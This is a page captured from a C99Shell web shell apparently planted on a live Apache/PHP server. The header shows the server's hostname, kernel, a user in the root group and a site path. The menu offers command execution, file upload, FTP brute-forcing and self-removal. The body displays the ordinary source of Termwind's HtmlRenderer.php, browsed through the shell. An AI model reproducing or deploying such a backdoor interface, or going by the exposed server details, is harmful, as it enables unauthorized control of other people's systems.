!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/nunomaduro/termwind/src/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HtmlRenderer.php (3.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Termwind;

use 
DOMDocument;
use 
DOMNode;
use 
Termwind\Html\CodeRenderer;
use 
Termwind\Html\PreRenderer;
use 
Termwind\Html\TableRenderer;
use 
Termwind\ValueObjects\Node;

/**
 * @internal
 */
final class HtmlRenderer
{
    
/**
     * Renders the given html.
     */
    
public function render(string $htmlint $options): void
    
{
        
$this->parse($html)->render($options);
    }

    
/**
     * Parses the given html.
     */
    
public function parse(string $html): Components\Element
    
{
        
$dom = new DOMDocument();

        if (
strip_tags($html) === $html) {
            return 
Termwind::span($html);
        }

        
$html '<?xml encoding="UTF-8">'.trim($html);
        
$dom->loadHTML($htmlLIBXML_NOERROR LIBXML_COMPACT LIBXML_HTML_NODEFDTD LIBXML_NOBLANKS LIBXML_NOXMLDECL);

        
/** @var DOMNode $body */
        
$body $dom->getElementsByTagName('body')->item(0);
        
$el $this->convert(new Node($body));

        
// @codeCoverageIgnoreStart
        
return is_string($el)
            ? 
Termwind::span($el)
            : 
$el;
        
// @codeCoverageIgnoreEnd
    
}

    
/**
     * Convert a tree of DOM nodes to a tree of termwind elements.
     */
    
private function convert(Node $node): Components\Element|string
    
{
        
$children = [];

        if (
$node->isName('table')) {
            return (new 
TableRenderer)->toElement($node);
        } elseif (
$node->isName('code')) {
            return (new 
CodeRenderer)->toElement($node);
        } elseif (
$node->isName('pre')) {
            return (new 
PreRenderer)->toElement($node);
        }

        foreach (
$node->getChildNodes() as $child) {
            
$children[] = $this->convert($child);
        }

        
$children array_filter($children, fn ($child) => $child !== '');

        return 
$this->toElement($node$children);
    }

    
/**
     * Convert a given DOM node to it's termwind element equivalent.
     *
     * @param  array<int, Components\Element|string>  $children
     */
    
private function toElement(Node $node, array $children): Components\Element|string
    
{
        if (
$node->isText() || $node->isComment()) {
            return (string) 
$node;
        }

        
/** @var array<string, mixed> $properties */
        
$properties = [
            
'isFirstChild' => $node->isFirstChild(),
        ];

        
$styles $node->getClassAttribute();

        return match (
$node->getName()) {
            
'body' => $children[0], // Pick only the first element from the body node
            
'div' => Termwind::div($children$styles$properties),
            
'p' => Termwind::paragraph($children$styles$properties),
            
'ul' => Termwind::ul($children$styles$properties),
            
'ol' => Termwind::ol($children$styles$properties),
            
'li' => Termwind::li($children$styles$properties),
            
'dl' => Termwind::dl($children$styles$properties),
            
'dt' => Termwind::dt($children$styles$properties),
            
'dd' => Termwind::dd($children$styles$properties),
            
'span' => Termwind::span($children$styles$properties),
            
'br' => Termwind::breakLine($styles$properties),
            
'strong' => Termwind::span($children$styles$properties)->strong(),
            
'b' => Termwind::span($children$styles$properties)->fontBold(),
            
'em''i' => Termwind::span($children$styles$properties)->italic(),
            
'u' => Termwind::span($children$styles$properties)->underline(),
            
's' => Termwind::span($children$styles$properties)->lineThrough(),
            
'a' => Termwind::anchor($children$styles$properties)->href($node->getAttribute('href')),
            
'hr' => Termwind::hr($styles$properties),
            default => 
Termwind::div($children$styles$properties),
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--